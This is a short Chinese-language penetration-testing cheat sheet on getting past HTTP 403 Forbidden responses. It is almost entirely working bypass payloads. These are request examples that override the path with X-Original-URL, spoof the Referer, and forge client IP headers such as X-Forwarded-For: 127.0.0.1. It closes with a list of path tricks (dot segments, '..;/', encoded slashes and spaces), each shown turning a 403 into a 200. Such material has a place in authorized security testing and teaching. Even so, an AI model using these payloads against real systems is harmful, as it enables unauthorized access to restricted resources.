渗透测试403网页绕过技巧～～～满满的干货

1、请求覆盖绕过

1. 可以通过X-Original-URL 和 X-Rewrite-URL请求表头覆盖url中的路径，尝试绕过对更高级别的缓存和web服务器的限制

2. Request
   GET /ylaq/Good HTTP/1.1
   Response
   HTTP/1.1 403 Forbidden
   
   Reqeust
   GET / HTTP/1.1
   X-Original-URL: /ylaq/Good
   Response
   HTTP/1.1 200 OK
   

2、Referer表头绕过

1. 可以通过更改Referer来绕过不严谨的服务端验证

2. Request
   GET /ylaq/Good HTTP/1.1
   Host: xxx
   Response
   HTTP/1.1 403 Forbidden
   
   Reqeust
   GET / HTTP/1.1
   Host: xxx
   ReFerer:https://xxx/ylaq/Good
   Response
   HTTP/1.1 200 OK
   

3、代理ip

1. 在Reqeust包中也会包含有我们的IP来源信息，有的资源只允许它本机或者内网IP进行访问，这个时候我们就可以通过使用代理IP来绕过这一限制。

2. X-Forwarded-For: 127.0.0.1
   X-Originating-IP: 127.0.0.1
   X-Remote-IP: 127.0.0.1
   X-Client-IP: 127.0.0.1
   X-Host: 127.0.0.1
   

4、请求路径绕过

1. 如果我们直接去访问/ylaq/Good这个目录可能是403Forbidden，那么我们可以尝试在后面加个‘/’，即访问/ylaq/Good/,有可能成功绕过，下面整理了一些常用的绕过情况。

2. 
   ylaq.com/Good => 403
   ylaq.com/Good/ => 200
   ylaq.com/Good// => 200
   ylaq.com//Good// => 200
   ylaq.com/Good/* => 200
   ylaq.com/Good/*/ => 200
   ylaq.com/Good/. => 200
   ylaq.com/Good/./ => 200
   ylaq.com/./Good/./ => 200
   ylaq.com/Good/./. => 200
   ylaq.com/Good/./. => 200
   ylaq.com/Good? => 200
   ylaq.com/Good?? => 200
   ylaq.com/Good??? => 200
   ylaq.com/Good..;/ => 200
   ylaq.com/Good/..;/ => 200
   ylaq.com/%2f/Good => 200
   ylaq.com/%2e/Good => 200
   ylaq.com/Good%20/ => 200
   ylaq.com/Good%09/ => 200
   ylaq.com/%20Good%20/ => 200